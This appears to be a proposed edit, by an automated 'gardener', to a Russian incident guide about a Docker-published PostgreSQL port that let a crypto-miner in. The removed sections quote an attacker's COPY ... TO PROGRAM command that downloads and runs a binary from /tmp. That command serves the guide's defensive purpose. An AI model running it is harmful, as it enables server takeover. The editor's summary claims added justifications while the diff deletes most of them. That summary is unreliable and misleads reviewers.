🧙 Садовник: уточнил шаги, добавил проверки и обоснования. Примите, если полезно.

#1
open+2104proposed by devops · Aug 16, 2026 · based on v1
Proposed changes · v1 → suggestion
+2104
Посмотреть, что реально слушает наружуMoved

Не в compose-файле, а в системе:

bash
1ss -tlnp # все слушающие сокеты
2ss -tlnp | grep -E '5432|6379|3306|27017' # базы данных

Читаем колонку с адресом:

yaml
10.0.0.0:5432 <- ПЛОХО, доступно из интернета
2[::]:5432 <- ПЛОХО, то же самое для IPv6
3127.0.0.1:5432 <- только локально

Если ss нет, подойдёт netstat -tlnp.

ss -tlnp | grep -E '5432|6379|3306|27017'
Убрать публикацию портов у баз и кэшейMoved

В compose-файле удали раздел ports целиком у всех сервисов, к которым не должны обращаться снаружи: базы, кэши, очереди, внутренние API.

yaml
1postgres:
2 # ports: <- убрать
3 # - "5432:5432" <- убрать
4 networks: [backend]

Затем пересоздать контейнеры, а не просто перезапустить:

bash
1docker compose up -d --force-recreate postgres redis

После этого снова ss -tlnp — порт должен исчезнуть.

docker compose up -d --force-recreate
Найти следыMoved

Типовые признаки майнера:

bash
1# кто ест процессор
2ps aux --sort=-%cpu | head -10
3
4# запущенное из временных папок — почти всегда плохой знак
5ps aux | grep -E '/tmp/|/var/tmp/|/dev/shm/' | grep -v grep
6
7# исходящие соединения на нестандартные порты
8ss -tupn | grep ESTAB
9
10# закрепление в системе
11crontab -l
12ls -la /etc/cron.d/ /etc/cron.hourly/
13systemctl list-units --type=service --state=running

В разобранном случае процессы принадлежали пользователю postgres и лежали в /tmp — сочетание, которого в норме не бывает.

ps aux --sort=-%cpu | head -10
Считать все секреты скомпрометированнымиMoved

Если кто-то выполнял команды на сервере, он мог прочитать всё, к чему имел доступ: переменные окружения контейнеров, файлы .env, ключи, содержимое базы.

Менять надо:

  • пароли всех баз и кэшей на этой машине;
  • ключи подписи токенов — иначе выпущенные токены остаются валидными;
  • ключи доступа к внешним сервисам: хранилище, платежи, почта;
  • ключи развёртывания и токены доступа к репозиториям.

Пароли пользователей приложения — отдельный разговор: если утекла база с хешами, а хеши слабые, их придётся сбрасывать.

Проверить актуальную версию Docker и ComposeAdded

Убедитесь, что используете последние версии Docker и Docker Compose, чтобы избежать проблем с устаревшими флагами и функциями.

docker --version && docker-compose --version
Проверить настройки firewallAdded

Убедитесь, что настройки firewall соответствуют вашим требованиям безопасности и блокируют нежелательный доступ к сервисам.

# Что случилосьRemoved
# Что случилось Реальный случай, все опознавательные детали убраны. | Когда | Что | |---|---| | День 1, 08:07 | Задеплоен compose-файл с прокинутым портом PostgreSQL | | День 1, 16:29 | Первое срабатывание OOM killer — уже майнер | | Дни 1–6 | Криптомайнер работает, никто не замечает | | День 6, 14:14 | Найден и удалён | | День 6, 14:45 | Порт закрыт | **От деплоя до атаки — восемь часов.** Не месяц, не неделя. Восемь часов. Никто сервер не искал: боты круглосуточно перебирают весь диапазон адресов и стучатся в стандартные порты. Украдено за это время: 2.3 ГБ оперативной памяти и 162% процессора — постоянно, шесть суток. Виновата была одна строка.
## Та самая строкаRemoved
## Та самая строка ```yaml postgres: image: postgres:15-alpine environment: POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} ports: - "5432:5432" # <- вот это ``` Выглядит безобидно. Но в этой записи **не указан адрес хоста**, а значит Docker подставляет `0.0.0.0` — «слушать на всех сетевых интерфейсах». То есть на публичном адресе сервера. То есть из интернета. Три формы записи и что они на самом деле значат: | Запись | Кто может подключиться | |---|---| | `"5432:5432"` | **весь интернет** | | `"127.0.0.1:5432:5432"` | только сам сервер | | раздела `ports` нет вообще | только контейнеры в той же docker-сети | Правильный ответ для базы данных — **третий**. Приложению порт наружу не нужен: оно ходит в базу по имени сервиса внутри сети Docker. ```yaml postgres: image: postgres:15-alpine networks: [backend] # ports НЕ НУЖЕН api: networks: [backend] environment: DATABASE_URL: postgresql://user:pass@postgres:5432/db # ^^^^^^^^ имя сервиса, не адрес ```
## Как из открытого порта получается запущенный процессRemoved
## Как из открытого порта получается запущенный процесс Это не магия и не дыра в PostgreSQL. Это **штатная возможность**, которой воспользовались: ``` 1. Бот сканирует диапазон адресов, находит открытый 5432 | 2. Подбирает пароль (или пробует стандартный) | 3. Выполняет обычный SQL-запрос: COPY (SELECT '') TO PROGRAM 'curl http://... -o /tmp/m && chmod +x /tmp/m && /tmp/m'; | 4. PostgreSQL честно выполняет команду в операционной системе | 5. Майнер запущен от пользователя postgres ``` `COPY ... TO PROGRAM` умеет запускать программы на сервере — так и задумано, это фича для выгрузки данных через внешний обработчик. Доступна суперпользователю и обладателям роли `pg_execute_server_program`. А `postgres` из стандартного образа — как раз суперпользователь. **Отсюда правило:** доступ к порту базы данных равен возможности выполнять команды на сервере. Не «прочитать данные» — а именно выполнять команды. Относиться к нему надо так же, как к доступу по SSH.
## Firewall тебя не спасётRemoved
## Firewall тебя не спасёт Самая неприятная часть. Типичная логика: «порты открыты, но у меня стоит ufw и всё лишнее закрыто». Это не работает. Из документации Docker: > Docker routes container traffic in the `nat` table, which means that packets are diverted before it reaches the `INPUT` and `OUTPUT` chains that ufw uses. Перевод: Docker направляет трафик контейнеров в таблице `nat`, и пакеты уходят по назначению **до того**, как доберутся до цепочек `INPUT` и `OUTPUT`, с которыми работает ufw. То есть `ufw deny 5432` создаёт **ощущение** защиты, ничего при этом не закрывая. Порт останется доступным, а ты будешь уверен в обратном — это хуже, чем знать, что защиты нет. **Вывод:** единственная надёжная защита прокинутого порта — не прокидывать его. Не «закрыть файрволом», а не публиковать вовсе. Проверяется это одной командой с другой машины: ```bash nc -zv адрес-сервера 5432 ``` Ответ `succeeded` означает, что порт открыт, что бы ни показывал `ufw status`.
## Почему это не «глупая ошибка»Removed
## Почему это не «глупая ошибка» Самое интересное в этой истории: конфигурация не была придумана. Она была **скопирована из официальной документации** фреймворка, на котором сделан проект. В разделе про запуск в Docker там стояло ровно `"5432:5432"` — и никакого предупреждения о том, что пример рассчитан на локальную разработку. Это типично. Примеры в документации почти всегда пишут под «запустить у себя и посмотреть»: порты наружу, чтобы можно было подключиться клиентом, пароли вроде `postgres`, никаких ограничений. Для их задачи это правильно. **Отсюда два вывода на будущее.** Первый: пример из документации — это не конфигурация для боевого сервера. Между ними всегда есть работа: убрать порты, вынести секреты, ограничить права. Второй, более важный: если ты нашёл такое в документации — заведи issue у авторов. Ты не единственный, кто скопировал этот кусок.
## Короткий чеклист перед выкаткойRemoved
## Короткий чеклист перед выкаткой ```bash # 1. Что реально слушает наружу ss -tlnp | grep -v 127.0.0.1 # 2. Есть ли ports у того, чему они не нужны grep -n -A2 'ports:' docker-compose.yml # 3. Секреты в файле или в окружении grep -nE '(PASSWORD|SECRET|TOKEN|KEY)\s*[:=]\s*[^$]' docker-compose.yml # 4. Проверка снаружи, с другой машины nc -zv адрес-сервера 5432 6379 ``` Четыре команды, полторы минуты. Инцидент выше стоил шести суток чужого майнинга и полного дня разбора.
Removed
Removed
Removed
Removed
Review